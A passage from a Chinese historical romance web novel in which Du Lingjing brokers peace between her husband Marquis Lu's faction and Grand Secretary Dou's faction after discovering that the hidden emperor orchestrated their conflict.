崇安看向杜泠静,“夫人,侯爷没得选,只能如此了。” 窦阁老传了诏书往各地,就是要准备引兵前来护驾雍王的意思。 双方到了此时都不可能放手,只能加速准备,战事很快就一触即发。 杜泠静听得这些话,只觉自己一颗心近乎要快跳了出来。 “侯爷难道不知道,这两道诏书的不寻常之处?皇上就是那细作,这显然是他设下的圈套。” 崇安垂着悲伤的眉眼,“侯爷知道,贵妃娘娘也是如此说得。贵妃娘娘还说,如果可能,她想见一见雍王殿下。” “但是,”崇安缓缓摇头,“但是侯爷说这根本就不可能。双方相争多年,没有人敢保证对面不会突然有何行径。” 侯爷不能保证窦阁老能真心相见,窦阁老也一样。 娘娘和雍王是眼下最重要的两个人,谁敢拿这二人去赌?毕竟这等事上,没人作保。 杜泠静闭起了眼睛。 远离京城的僻静田庄,也不能隔绝肆虐的暑热。 杜泠静夏日里一贯信奉,心静自然凉,静下心来看书修书,炎热不知不觉就消解了。 但此刻,她根本坐不住,长眉紧紧压着,额头不住冒汗。 她往外张望,“廖先生和楚先生来了吗?” 阮恭回,“还没有。” 没有…… 如同天上又添一颗烈阳,焦着杜泠静的心。 皇上发出两道诏书不见了。 行宫的雍王一党,认为是陆氏伙同锦衣卫劫持了皇上,而站在侯爷的视角,又像极了行宫的人困住了皇帝。 但都不是。 这就是那皇帝的用意。他恐怕是想一举剿灭,龙争虎斗多年的文武两道。 至于侯爷。 他在令他留京监国的时候,就想好了要将他架上高台。 他给他兵马,又将他钉上高台,待到两败俱伤,皇上再出兵来镇……他根本就是想要他身首异处。 再没给他活路…… 杜泠静蓦然落下两行滚烫的泪来。 她想起弘启十四年,永定军经历那一场被细作出卖的惨烈战事之后,诸将凋零,陆氏一族除了重病的陆老侯爷,就只剩下那个身量还没长满的,十三岁的嫡长孙陆慎如。 十三岁的小少年,必须压着心中丧父丧亲之痛,由着伤病交缠的祖父竭力托着,顶上英年即逝的父亲的职责,去领那几乎全军溃败的剩余的永定军的兵马。 老迈病重的老祖父,少年未成的小孙儿,却必须要将西北的永定军,从这残破羸弱的困境里带出来。 这一路走出来,祖孙二人能有多艰难,杜泠静说不出。 可朝堂里窝藏着当年害过他们的奸细,如何能令边关保家卫国的人心安? 十七岁那年,少年得老祖父的吩咐,离开西北,偷偷往中原腹地而来,调查那藏身极深的细作。 可彼时的他哪里想得到,那细作头目的势力,竟然能庞大到满朝文武无可比拟。 他就这么通身被扎满了密密麻麻的伤口,一度近乎身死,靠着多年沙场练出来的一身本领,才看看保下一命,踉踉跄跄地闯到勉楼里藏了起来。 那么酷辣的暑天,那么狭窄闷热的阁楼隔层。 他藏在里面连灯都不敢点,想着熬掉这一整个夏天,尽力把溃烂边缘的满身伤势养下来。 但就在那闷热难耐的勉楼里,他竟对书楼里的姑娘动了心。 可巧的事,两家竟然还有过口头上的旧婚约,旧婚约做不得什么数,偏偏姑娘的父亲看中了他,想要招他为婿。 他再看向那书楼里每日来看书的姑娘,她竟已是他的妻了。 她并不知道。 但等她知道的时候,她却跟他翻了脸。 她不要他,不管他是不是一心一意中意她,甚至可以因为旁人的存在而等她,等多久都行。 可她就是不要她,冷着脸,没待他伤好,就把他从勉楼里撵走了…… 杜泠静捂住了眼睛,眼泪还是从指缝里落下来。 这些事情,如果不是后面的误会,他不肯说,就当从没存在过,他可以封在心底一辈子。 他就那么被她撵走了,她不知道他那天夜里,到底是带着怎样破碎的心情离去。 暗淡的星月的光披在他身上,他身上还是没愈合的伤。 而就在他离开不久之后,却又遇上细作,他与二弟前去查探。 这次,兄弟二人没能都躲过一劫。 二弟挡在他身前,为救下他这大哥,喉头穿剑而死。 他七天七夜没能说出话来,嗓子就此哑掉了。他的老祖父终于经受不住打击,次年,一代征战边关的老将军,于悲痛中溘然长逝。 那年,他十八岁,承袭了爵位,做了这祖祖辈辈恪尽职守、慎终如始的永定侯。 再没了顶在他身前的长辈,他这年轻的侯爷就是站在最前面的人。 宫里的姐姐,年幼的外甥,因那惨烈一战而惶惶不安的永定军……他们都指靠着他。 他必须要站稳立住,他不能示弱半分,他们用血肉之躯保他高位安泰,他也必得倾尽全身气力,为他们撑起一片阔然的天空。 殷佑五年,皇帝的太子身死,朝堂局面大变。 他离开了自幼长大的西北,一步迈入了这危机四伏的京城之中。 那一年,满朝的老臣,深藏的皇帝,永定侯陆慎如才刚刚二十岁。 五年,他从最初的扬鞭为自己立威,站稳脚跟,到如今的朝堂之上,应对那些阁老重臣,他游刃有余。 多少个夜晚,这个手握刀剑、一跃千里的将军,必须苦苦捱着坐在冷硬的案前,一页一页地翻读去那些看不完的书信奏章。 想要见他的人排到侯府门外,他是世人皆仰望的贵胄权臣,也是被钉在高位上动弹不得的囚徒。 可他再不会想过,当年的细作,还一直想要取他性命。 而他搏命去查的细作,就是文武百官倾尽才能侍奉的皇帝…… * 隐秘的院落之中。 京中皇后殡天,和行宫里立储诏书已宣的消息,都到了此地。 谋局多年的皇帝,摇着扇子闲步在水边的阴凉里。 他想想他身前这些文臣武将,能站到他眼前的,哪个不是风风光光的天子骄子。 就好比窦阁老。 窦阁老也是年少就中第成名,只是眼高于顶,连先帝都敢批。 他知道那窦阁老是为何转变至此的,先帝他瞧不上,自己这个“不堪大用”的皇帝,他更是看不上。 他窦阁老要等明君,等一个能令他名垂青史的明君。 而这明君,与其干等,不若他亲手培养。 皇帝想到这儿就想笑。 如此眼高于顶的窦阁老,指着逢祺想做名流千古的贤臣,可惜啊,窦阁老看错了人,他跟着逢祺,只能做蛊惑皇子的乱臣! 窦阁老如此,而那陆氏姐弟更是光耀,出生就与别人不同,更与他这躲在暗处,连真实身份都不敢说出口的人不一样。 他们姐弟如明星般璀璨。 陆大小姐陆怀如,那么多人要娶她为妻,可他却要她给他做卑贱的妾。 僧道皆批她是生来凤命,注定母仪天下。他却不信,他的继任者只可能是逢祥,那么陆大小姐凤命的结局,就只会是落入深深冷宫之中,了却残生。 至于她胞弟陆慎如,那更是众星捧月的陆氏嫡长孙。 他多年筹谋之局落定之日,陆慎如是活不了了。 他要看着陆氏祖祖辈辈的忠良基业,毁在这众星捧月的嫡长孙手里。 只等他一举剿灭这不安的文武两道,就将陆慎如的头,悬在城门楼下。 世人眼里最是意气风发的陆侯,在他这里,只能得个作乱祸国的奸臣下场。 他已为他们这些天子骄子,写好了命簿上的结局。 至于他自己,一个先帝厌弃的血统不正的儿子,一个文武百官无人看好的皇帝,他争取在自己病死之前,也做一回贤君明帝。 祖辈父辈都无法终结的文武之争,就要在他手里终结了。 怎么不算贤君明帝?! 他思及此,不免笑了起来。 只是笑声连带着胸腔的震荡,他不住咳喘起来。 他时日无多了,得快点促成此局。 他还要眼看着这些天之骄子,俱都惨死在他脸前。 * 京城。 一连两夜没睡的陆侯,本想小憩片刻,却发现根本就闭不上眼睛。 他干脆放弃了休歇,指腹擦拭着,他刚让人从家中取回来的一支珊瑚发簪。 他喜欢看她戴他送她的,这一套红珊瑚的头面,若她肯为他穿起鲜亮明丽的衣裳,就更好看了。 他把这根红珊瑚的发簪,用微生薄茧指腹,擦了又擦。 他不得不承认,这才短短几日,他想她了。 可她去了蒋家,多半没那么快会想他。 男人无谓地笑笑,手中握着她的珊瑚簪。 若是他此番兵败,那么那日他离府进宫,便是他今生见她的最后一面了。 最后一面…… 男人又笑了笑,将指腹擦拭得温热的珊瑚簪,放到了胸前。 就在这时,京外传来了行宫的消息,道是窦阁老有进一步动作了。 窦阁老以储君之命,传令河南山东两省兵马,前去护驾。 男人闻言站了起来。 他抬脚走到了大殿外,肃声吩咐。 “皇后殡天,立时去宣贵妃娘娘的封后诏书。” 他沉了声,抬眸扫过整座京城。 “自此时此刻起,京城封城!” * 田庄。 杜泠静还没等到人。 却在门外的田垄下,捡回来一颗又黑又硬的石头。 她把那块黑硬石擦洗干净,就握在掌心最中间。 可是她每看那块黑石头一眼,就忍不住要落两滴泪。 他是不肯轻易认输屈就的硬性子,带兵征战多年,怎能不为自己和永定军搏一把? 但不是所有的拼命一搏,都能得成…… 杜泠静手里紧握着她从门口捡回来的黑石头。 就在这时,两人先生终于到了。 廖先生上前就同她道,“我二人刚离京不久,便听闻侯爷封锁了京城。” 他封城了。 杜泠静倒吸一气。 她不得空再拭泪,请了二人进到院中,将自己所知所得所猜,全都给二人说了来。 “这恐怕就是那皇位之上的人的阴谋。” 两位先生皆惊愕,但也看得清眼下的局面。 皇上纵着双方争斗多年,时至今日已经无法讲和,但不讲和便是双死之局。 杜泠静低声,“侯爷和娘娘这边,我可以来说项。但是窦阁老处,我想请两位先生替我前往。” 她说廖先生在政见上,本就倾向于雍王继位。 窦阁老也是知道的,还曾想要拉拢他为雍王所用,只是廖栩是为侯爷所救,他无法站在侯爷的对立面上,干脆两方都不再接近。 原本在朝堂上,他处境最是尴尬,可此时此刻,他却是为双方说项的最佳人选。 至于楚先生,杜泠静直接问他,“父亲应当认识窦阁老吧?” 楚牧点了头。 “确实认识。令尊曾在为中第之前,就结识了被贬偏处的窦阁老,二人相谈甚欢。彼时姑娘还在先夫人的腹中,还多得了窦阁老家老太君的照料。” 他道,“阁老曾跟我说过一回,他说窦阁老年长他许多,亦引领他许多。是他的‘大兄’。” 楚牧说完,径直看向杜泠静。 “姑娘若想要说客,楚牧可代姑娘与过世的阁老,尽力前往窦阁老面前一试。” 杜泠静闻言起身就要跟他行礼,楚牧连忙扶住了她。 而廖先生亦起了身。 “廖某这条残命,先得侯爷于保定深山相救,又得静娘舍身救于箭下。” 他道,“拂臣,本就是敢拂皇命之臣,如今皇帝阴诡欲害文武忠臣良将,廖某便是舍去这条残命,也要挽救忠良于危境之中。” “静娘才智过人,能一眼看穿此中关节,更不为立场所困,思得最佳解法,我二人又怎能负你所托?你放心即可。” 两位先生皆领下了杜泠静的托付。 杜泠静郑重行礼。 “多谢!” …… 二人不时前往了行宫。 崇安和菖蒲不闹了,一左一右地看向夫人,菖蒲不由地问了一句。 “两位先生能说服得了窦阁老吗?” 杜泠静说不知道,“但成与不成,必须一试。” 她又从袖中取出了那块黑石头。 她难道能眼睁睁地看着她,无奈之下,一步步踏入险境? 他还想去江南,若可以,她陪他去江南…… 她目光往外看去,只是崇安又道了一句。 “可是夫人,就算窦阁老愿意与侯爷讲和,可他还是要顾及雍王殿下的。” 杜泠静闻言瞧了他一眼,“你是不是说,之前娘娘想要见雍王?” 崇安说是,“但这不可能啊。” 杜泠静有了身孕的身子,暑热之下,渐生难耐之感。 但她不急在乎这许多了,直接叫了人。 “去请六爷过来。” 她这话说完没多久,蒋枫川就到了她院中。 他打量她,“主动请我前来?” 杜泠静不想跟他扯闲篇,她只道,“你莫要说不着边的话。” 青年挑挑眉。 杜泠静径直问他。 “你在雍王殿下身侧,可有听说过当年殿下与贵妃娘娘生隙的事?” 她总觉得此事没这么简单,能令母子二人都寒了心的,必然还有没说清楚的事情。 此事横亘母子之间,才是导致如今局面的开始。 若不解除,如何言和? 杜泠静问去六郎,见他更挑了挑眉。 她听见他道。 “我还真就知道一二。” 第98章 “按照邵家人的说法, 太子薨逝之后,贵妃娘娘恨不能立刻除掉雍王殿下,为慧王殿下让路, 连派刺客想要害死雍王。” 但邵家人想要争夺雍王逢祺母族的身份。雍王是贵妃一手养大的,连启蒙先生都是永定侯府的幕僚, 邵家人见母子生隙, 自然极力污蔑。 不过蒋枫川可不太信。邵伯举出事之后,邵氏陷入风波之中,除了大老爷邵遵苦苦撑着,早就没什么人。他转而找了个机会, 又往窦阁老身边的亲近幕僚处打听了两句。 这才晓得贵妃派刺客杀害雍王的事情,并非子虚乌有。 他同杜泠静道, “彼时确有一刺客夜半闯入殿下寝宫,亏得侍卫来得及时才没有出事。但这件事,也令尚且年幼的雍王殿下慌乱了神思,邵氏又一味告诉他, 那必是贵妃所为, 之后就请开王府, 接他出了宫。” 先是贵妃发现逢祯药中有毒,而后又在雍王逢祺住所发现巫术之物, 此物来自西北关外,而就这么巧, 夜半有刺客入宫。 若此事放在之前,足够混乱, 不易解释。可眼下,那藏在暗处的皇帝居心浮出水面。 杜泠静觉得,不管是药中的毒, 还是巫术之物,又或者夜半此刻,都不需要解释了。 但她还是给贵妃娘娘写了封信,将她所知晓的情况告诉了贵妃。 若是娘娘还想此时见雍王一面,她愿意竭力奔走,搭上这一座桥。 然而廖先生和楚先生这边,第一天并未见上窦阁老,次日廖先生郑重写了帖子递去,又附上手书一封,窦阁老这才答应见上一面。 眼下局面,窦阁老纵横官场几十年,自然能猜出几分,那不见了的皇上的用意。 但等到廖先生说出殷王便是残害永定军的细作之时,饶是喜怒不形于色的窦阁老,也不禁变了脸色。 “此事当真?” 廖先生连连点头。 窦阁老不禁想起他曾问过那陆侯,被俘虏的鞑靼九王可有提供什么关键线索。 他以怀疑有细作深埋朝堂之内。 但他再没想到竟是自己尽忠的皇帝。 而楚先生则道,“我家阁老横死山洪之中,亦是皇上授意锦衣卫所为。” 这次窦阁老闻言并未多问,沉默了下来。 他没做出任何应答,二位说客只能暂时离去。 行宫里的月色溶在清凉的夜风之中,行宫上下还在继续查寻皇上离去的痕迹。 他负手行在月色之中,不由地想起了被贬在河南的许多年。 他因耿直进言,被弃在那处做官一年又一年,他曾年少成名,也曾受到追捧,可一年年被弃,身边除了妻儿老娘,早没什么人愿意与他交结。 直到来了个山东青州的举人,如同他当年一样吗,揣着一腔治国安邦的热血,想听听他对朝政的见解。 他游学到隔壁县的书院里,身侧还带着他怀了身孕的娘子。两人每次来到他家中,都要带上两条生肉,一坛老酒,并不是什么朝堂中的拜见,而是有人前来窜门。 他把自己多年来在朝堂的所见所闻都告诉了他,甚至告诉他,自己寒了心,就在此地了却残生也没什么,一身的抱负不能施展,在哪又有什么区别? 可杜致礼却道,“大兄所为毫无错处,要怪只能怪人心浅薄。我亦愿做拂臣,施通身抱负,为生民百姓走一遭。” 他说不成,“天家怎么能容拂臣?” 可他竟真得了先帝看重,他惊诧不已,可皇子争储,朝局混乱,他的新政还没推开,新皇便登基上位。他的新政很快寥落下来,再之后,他父亲突然病逝,他回乡守孝,新政彻底停摆。 那时候他就知道,皇帝容不下拂臣,唯有顺应皇帝,再等明君,才是正途 他却摇头,说皇上非是明君,那就更要做这拂臣,不然家国祸乱丛生,战事四起,百姓流离,他们这些吃百姓税粮的臣子,还有什么用? 他要回到朝堂,可朝堂根本不许他返回,他果然就折损在了半路之上。 彼时,他就猜测过,会否是皇上的意思。 如此,他更不敢违逆,只能顺着等着,等明君降临。 太子死后,他以为他终于等到了。 他要亲自为自己培养明君。 但他再也没想过,容不下杜致礼这个忠直拂臣的皇帝,如同躲在阴暗处的妖鬼,他见不得有取他代之的明君。 他想让所有人去死。 窦阁老脚下定住了,蓦然想到家中老娘给他捣乱,请了杜致礼的掌珠、陆慎如的眼珠、那杜家的小姑娘,到家中做客。 事后他让老娘不要再乱来,他与陆氏那些武将,再无相容的可能。 但老娘却问他,他想要的,他一心一意等待的,真能等得来吗? 窦阁老念及此,不禁苦笑,一时间竟有些思念家中老娘。 真是不幸,被老娘言中了。 可是,时至今日,他还能怎样?他身上肩负的,可不是他一个人的身家性命。 雍王若是溃败,慧王登基,朝堂半数文臣都要被牵连。 …… 翌日窦阁老并无回应,下晌廖先生和楚先生又去了一趟,可这次窦阁老没见他二人。 京城内外的形势已经起了大变,只要双方人马一到,战事一触即发。 杜泠静又等一日,窦阁老没有回音,她知道说服不是那么容易的。 双方抗衡多年,怎么敢在这生死关头,随意相信对方。 她想了一夜,次日换了衣裳,请了廖先生和楚先生。 “两位先生带我一起去吧。” 楚先生惊诧,崇安更是拦在她身前,倒是廖先生看着她想了又想。 “双方不敢相互轻信,若想说服,确实要拿出真意来。只是静娘,你想好了?” 她这一去,如同人质。 但杜泠静点了头,吩咐崇安亲自驾马前往。 她在行宫之外见到了窦阁老。 窦阁老看见她的第一眼,便挑了眉。 “你真是同你父亲一样,无畏得很。” 若是他派人将她拿下,以她作为人质要挟陆慎如,她待如何? 但她仿佛看出了他的想法。 “阁老不会以我为质,要挟侯爷,但却会在亲眼见到我前来之后,放心三分戒备。” 窦阁老不由掀起眼帘,又多看了她一眼。 她的脾性同她父亲,果是相像的很。 他不禁道了一句。 “陆侯不知你前来吧?如此以身犯险,就这么想为他再添一条生路。” 他说她的陆侯,“坐镇皇城,拥兵在手,胜算可比雍王大。” 杜泠静却摇头,“可每一分胜算,都要他用命去搏,更不必说,还有那不见了的皇上隐在暗处。” 最后一点,是最令人心中不安的一点。 窦阁老闭了闭眼睛。 但杜泠静叫了他。 “每过一日,危局便更摇动一分,请您不要再犹豫,至少先携手抗敌!” 去对抗那个真正想要他们都死的人。 窦阁老睁开了眼睛,却见她突然肃正了神色,再次开口。 “家夫陆慎如,是这世间最重情重义的人,他绝不会做出背信弃义的事,我可以性命担保。为今之计,还请阁老与他握手言和,才是唯一出路!” 崇安在旁听闻夫人少有的急言,不禁看了她一眼。 而窦阁老闻言沉默良久。 陆慎如是何人品,他其实不比她了解的少。 他默了默,跟她摆了手。 “我知道了,你先回去吧。” …… 只是杜泠静刚回到田庄,饭还没来得及吃,就听闻宫里来了人,是贵妃娘娘派了人回信。 如她所料,娘娘也好,侯爷也罢,从不曾派人刺杀过逢祺,所谓此刻来自何方,不言而喻。 娘娘出了捎了信给她,还令用锦袋装了个物什。 来人道,“是娘娘给雍王殿下的,请夫人转赠。” 杜泠静看不出里面是何物,但东西握在掌心,她明白了过来。 * 行宫之外的小路上。 逢祺由蒋枫川引着,在凉亭下避雨。夏日的大雨将水面上的荷叶打得东摇西晃,雨珠与池珠交混着,如杂耍一般翻滚。 有人于大雨之中,挑伞前来。 雨珠沾湿了她的裙摆,少年皇子抬头看去,愣了一愣。 “陆侯夫人?” 杜泠静跟他行礼,呈上了那只鼓鼓装着物什的锦袋。 锦袋上残留的香气飘来的一瞬间,逢祺便是一怔怔。 “贵妃娘娘的?” 杜泠静道是,“是娘娘给您的。” 她轻声,“娘娘希望,能见殿下一面。” 少年眼帘微颤,他默默盯着那锦袋良久,这才双手打开。 里面放着一根手法极其繁复、旁处根本不可多得的青色绦子。 “娘娘请我告诉殿下,娘娘她,从未派过刺客谋害殿下。” 她道,“从未有。” 少年眸光颤动不止,他默然不语,只双手握着那根绦子。 从小到大,他的所有绦子都是娘娘给他打的,每一根都是如此的繁复又精致。 而在他与娘娘生隙离宫立府之后,他再没有娘娘的绦子了…… 少年的眼角,不禁有泪倏然滑落下来。 这时又有人前来。 是窦阁老。 逢祺向他看去,阁老跟他缓缓点了点头。 “既然娘娘有心,殿下亦有意,老臣以为,是该见一面了。” * 京城宫中。 陆怀如得了杜泠静的消息,反复跟崇安确认。 “你家夫人真的说通了?” 崇安简直与有荣焉,连连道是,“夫人连日奔波,已为娘娘定下,您与雍王殿下就在蒋家的田庄见面。” 陆怀如不禁双手合十,又想到她还怀着身孕。 这些日静娘给她来回传信,字字句句提得都是眼下的危局要事。 自从知道她相见逢祺,便将她的思量与作为同她来回商议,她的身份立场独特,她能为旁人所不能为。而她亦有这个胆量与见地,为双方搭桥。 但她却独独从没提过她自己。 “夫人身子如何?”她问。 “夫人是有些疲累,但道娘娘之事更紧要。” 贵妃不由长叹一气,她回头时,却见小儿子一直看着她。 “祯儿?” 他攥了攥小手,忽的问了她一个问题。 “母妃,我何时能见到哥哥?” 他还隐隐约约记着儿时,哥哥常带着她,在母亲的殿前庭院里跑着耍玩…… 贵妃眼眶一烫。 “就快了,必有相见之日!” 只是她话音未落,陆慎如便问询大步前来。 男人先一眼看见崇安,就高高挑了眉,来不及细问他,叫了自己胞姐。 “娘娘要去见雍王?这太过危险。” 但陆怀如连番与弟弟摆手到无妨,“仅我前往即可,你与祯儿留在京中便是。” 男人皱眉,“那也不成……” “惟石你听我说,皇上既然就是当年的细作,那么如今的局面,就是他为我们造的死局。” 她本该去嫁外祖家中那位沙场征战的远房表哥,他一直在等她,等她那年从京中返回西安,等着他们的婚仪。 但他等来的,只有她入了王府给殷王做妾的消息…… 陆怀如闭起了酸涩的眼睛,“惟石,我已没有了太多牵挂的人,我再不想看到你、祺儿和祯儿再落入这死局之中。” 她看着弟弟,“这个就是我们的机会,是上苍让静娘给我们的机会,我如何能不去?” 男人先听得胞姐的话,心下发涩,但他忽的听到最后两句,骤然一顿。 “静娘?” “你不知道?” “她何曾跟我说过?” 陆慎如有些发恍。 从那天她离京到了蒋家的庄子,他没让崇平接她回京之后,他就再没听到她说话了,而她没让人给他传过话。 一句都没有,他料想她必是没似他一般,这么想念她。 所以一句话都不给他传。 他怔着,却听姐姐开口。 “是静娘。是她先请拂党的先生连番说服窦阁老,又在我与逢祺之间搭桥。” 她说她还怀着身孕,“这酷热天气,她一直来来回回奔走。” 陆怀如无奈地看了怔住的弟弟一眼。 真是傻石头。 “你当她如此奔波是为了谁?你到现在还不明白吗?” 男人难以置信。 崇安可以为夫人作证,“侯爷,夫人一直为您奔走,那日廖先生说服不下窦阁老,夫人甚至亲自前往行宫之外。” “亲自前往?!” 崇安道是,他莫名想起了那日夫人在窦阁老面前的急言。 他把原话径直说到了侯爷面前。 那日夫人说。 “家夫陆慎如,是这世间最重情重义的人,他绝不会做出背信弃义的事,我可以性命担保!” 话音在大殿中反复回响,陆慎如仿佛听见她说这句话的声音,就出现在他耳边。 家夫…… 原来她在外人面前,也会称他家夫。 原来她并不只是把蒋竹修,当作她心头那最最重要的人! “夫人现在何处?!”他忽的哑声问去。 这话问得崇安一怔,“夫人她……当然还在田庄里啊。” 话音落地,男人大步就往外走去,步履生出疾风,仿佛一瞬就要迈入她所在的田庄里。 贵妃连忙叫住了他。 “惟石,是我要去,不是你去!” 男人脚下微顿,“我不可同去吗?” 他想见她,立刻就见。 贵妃扯他袖子。 “这是我与逢祺的见面,你去不合适,你想见静娘,再等两日一切落定不迟!” 两日。 陆慎如英眉紧皱。 他等不了两日了。 他真的想此时此刻,她就在他面前。 * 田庄。 杜泠静莫名有种被拉扯的感觉,似乎冥冥中有股强劲的力道,要撕破夜空,将她紧紧拉入怀中。 她晃了一下神,眨眨眼睛,不由地转头往京城的方向看去。 田庄里蝉鸣蛙鸣阵阵,她还在等着贵妃娘娘的到来。 下一息,崇平急奔到了她面前。 “娘娘到了!” 杜泠静眼眸一亮,“殿下已在等待。” …… 夜幕将四野笼罩得漆黑,但人只要挑着灯,就能看到脚下的路,看到前方的人。 陆怀如没再让侍从上前,独自提起灯,往对面走去。 他站在一片明皎的月色之下,月光令他身上的银袍灼灼生亮,如同龙鳞一般。 她已经太久没有细细看过这个在他身边长大的孩子了。 不知不觉之间,他通身渐渐生出了帝王之气。 逢祺亦看到了缓步正如月色之中的人。 他从前总记得,她身形很是高挑,在那孤寂的后宫里,娘娘是唯一能为他遮风挡雨的人。 但此刻她越走越近,她挑灯行来,他竟觉得自己身量已经超过了她。 “逢祺?”她忽然轻声开了口。 她嗓音正如月光般轻盈,但却似乎见他始终没动,透着些微的犹豫。 她果是有些犹豫,步子慢了三分,但又想到了什么,略顿之后,更抬脚向他走来。 这犹豫之后更迈出的一步,仿佛一下踏在了少年的心头上。 他心口倏然颤痛。 她没有犹豫,她向他走来,原来她从不曾想将他抛弃…… 少年迈开步子,忽的飞奔上前。 他亦再没犹豫,高声地喊了她。 “母妃!” 第99章 “眼下最紧要的, 是知道皇上现在何处。” 蒋家田庄之中。 窦阁老将最紧要之事问了出来。 双方落入“死局”之中,眼下虽握手言和,但皇上还尚在人世, 只要皇上还在,他们就不可能真正安稳。 众人心照不宣, 绝不能再让皇上回宫了。 逢祺听到窦阁老问去娘娘, 在旁道,“我与阁老,只找到一个本该跟随父皇离了去的宫人,她因突发急症被抛了下来, 险些被灭口,侥幸逃出一命。” 他道, “这宫人说,父皇身边的姑姑,曾吩咐她一定带上除虫的药草,道她们即将去的地方, 院中有大片水塘。” 陆怀如闻言目露思索, 杜泠静则道, “院中造景含湖乃是常事,阁老可有将所有含湖的皇家庄园一一查探?” 窦阁老道都查过了, “并无皇上栖身之处。” 他又问娘娘,“老臣想问娘娘, 可否知道旁的皇家私密宅院?” 他示意蒋枫川将他们查过的皇庄名录,都给娘娘细看, 陆怀如看了两遍,摇了头。 “其他我也不知道了。” 她这话出口,厅中不免沉默。 贵妃看了身侧的逢祺一眼, 见他低着眼眸,她抬手摸了他的肩膀。 “母妃虽不知道,但有一人或许清楚。” “母妃说谁?” 陆怀如目光从他身上,扫去众人。 “皇后娘娘。” 窦阁老和逢祺对视了一眼,杜泠静也抬了眼眸。 皇后娘娘没死。 但贵妃又缓声道。 “只是皇后肯不肯说出来,就不得而知了。” 可就算没有把握,这也是他们最有可能的机会。 陆怀如连夜回了宫。 * 皇宫。 皇后娘娘“殡天”之后,原本住的宫殿里全都挂白,只留下守灵的宫人。 而陆怀如则去了一处偏僻的宫殿之中。 她刚抬脚近前,既有宫人跟她行礼,她问了一句,“皇后娘娘可安好?” “娘娘尚好,刚小憩过,就在殿中。” 陆怀如闻言走了过去。 京中暑热难耐,房门大开着,但陆怀如还是停在门口,先问了一声。 “娘娘可许我近前?” 房中传来一声冷哼,“进来吧。” 陆怀如这才撩帘进了殿中内,见皇后就倚在床边,向她问来。 “终于决定除掉我了?” 皇后虽然“殡天”了,但陆怀如也好,陆慎如也罢,都只是将皇后软禁了起来。 陆怀如说不是。 “我是未经娘娘允许,就入了王府后宅的人,更不必说这些年皇上对我多有‘宠爱’,我顶着所谓的凤命坐在娘娘之下的贵妃之位,太子薨逝之后,拥在逢祯身侧的人,无不盼着娘娘身死,给我腾出地方……娘娘厌恶我,本也是应该。若我为了上位,再亲手杀了娘娘,岂不是罪过更重?” 所以她没想过杀她,软禁就够了。 王皇后闻言笑了一声。 “你倒是心如明镜,我确实厌恶你,不光这些原因,而是在我眼里,你那所谓的凤命,妨死了我的儿子!他若是顺利登基,你就不可能登上凤位,相反,僧道皆批的凤命保着你,所以我儿子必须要死!” 王皇后说到此处,早已流尽的眼泪,又自眼角颤动着落下半颗。 常年落泪,她的眼睛快瞎了。 陆怀如对自己的“凤命”,几无什么好感,她默然暗叹一气。 不过王皇后却抬起那快瞎的眼睛,看了她一眼。 “但我后来想明白了,你那凤命是可恶,但人心的恶毒远超于你那凤命。” 这话引得陆怀如微顿。 她听见皇后道。 “你可知我儿是怎么死的?” “太子殿下难道不是病逝?” 皇后说是病逝,“可他本来有救!可就在救命的关头,他的亲生父亲、他的父皇罢了手,断了他的药……” “我儿……我儿就这么眼睁睁死了!” 陆怀如愕然不已。 她已知道逢祺与她,是皇上离间,但再没想到,太子生死的关头,也是皇上插了手。 虎毒不食子,但他已经不能用毒来形容了。 她心下发冷发颤,“那么娘娘,是有什么夙愿?” 有什么夙愿,让她一直强撑着活下去。 王皇后确实有夙愿在心头。 “我之所以不死,就是想看看这皇位,到底落在谁身上。” 她说皇帝是没有心的人,他不会宠爱任何人,“我心里就是恨,我活着就是想看看,你的凤命,和他的阴毒,到底谁厉害?我儿不能登上皇位,到底谁才是登上皇位的人!” 陆怀如不知道该说什么,她见皇后娘娘面目狰狞了几息,心里想着自己若此时拿话去问皇后,她多半不会告诉她答案。 反正谁登上皇位,都与她无关,她只是想看个结局而已。 不想就在此时,皇后问了她一句。 “你觉得谁人会是下个皇帝。” 陆怀如想了想。 “若我们都死了,老三逢祥便是下位皇帝。” “那你们要不死呢?”皇后又问。 这次陆怀如直接告诉她。 “若我们皆能活,我会拥逢祺做新君。” “逢祺?” “逢祺虽不是我亲生,但也是我的孩子,而他比逢祯更合适。” 陆怀如话音落地,皇后突然大笑了起来,笑着笑着,她一口气没上来,猛呛了起来。 陆怀如连忙上前,连番为她拍了后背,又给她喂了水。 皇后渐渐缓了过来。 她没再大笑,只是不可思议地抬头看向她厌恶多年的贵妃。 “难不成,你真有凤命?比起我,你才是该母仪天下的那个人?” 皇上只有四子,太子已逝,承王被他带在身边,剩下两个都是她陆怀如的儿子,而她愿舍亲子,拥养子继位。 王皇后将眼前的人看了又看,不禁想起多年之前,那天之骄女的陆大小姐,低头跪在她身前,请她喝下她的婢妾茶…… 她彼时只一味厌恶,如今想来,能忍常人所不能忍,怎么可能不是天定的凤命? 她突然不想再等什么结局。 与其让那阴毒皇帝赢,她不如就让陆怀如赢。 陆怀如这压了她一生的凤命,她认了。 “你们是不是找不到皇上了?”她倏然开口。 贵妃一顿,接着便将眼下的情形告诉了皇后。 皇后轻笑了一声。 “不怪你不知道,他防着你呢。我亦没去过,但我知道在何处。” 她直接把地点告诉了陆怀如。 陆怀如深吸一气,欲行大礼,被皇后止了。 “不必了。我盼着你能赢了他。若你兄弟陆慎如找到他,杀了他,记得回来告诉我。” 她目光遥遥向外看去,仿佛已经穿透皇宫层层院墙,看到了肉眼所不能见的世间。 “我活不了几日了,等我死了,我要亲口告诉我儿逢祎,他母后,也算替他报仇了!” …… 远岫阁,陆慎如回了一趟府邸,取走了一刀一剑。 刀,是他自己惯用的利刀,而剑,则是二弟陆恒如的银雪剑。 * 隐瞒的院落之中。 皇帝今日也在湖边乘凉。 天阴着,天边乌压压之处滚来两声闷雷。 雨还未落下,兖王说双方都在征调人马,陆氏姐弟派了忠庆伯世子魏琮快马返回西北调兵,而窦阁老则往山东、河南请兵护驾雍王。 兖王笑道,“应该就快打起来了。” 皇上躺在摇椅之上,露出尽在掌握的笑意。 “算着天数,等他们打得差不多,暑热天就该过去了,朕正好迎着秋凉回宫。” 兖王道是,“臣此番,也算是跟着陛下看了场热闹,又避了暑。” 皇上闻言竟点了头。 “谁说不是,皇叔真是命好,虽说生而有疾,但这辈子,先看了先帝诸子的热闹,如今又看到了朕这里。天下热闹真是让你看尽了。” 兖王笑起来,又道不敢,“是皇上允臣看罢了。” 皇上却道不然,“你要是不想看,怎么能跟着朕看到?说白了,你就是那唯恐天下不乱的第一人。” 这话兖王有些不好接,反正他是个残废,天下乱了和他有什么关系。 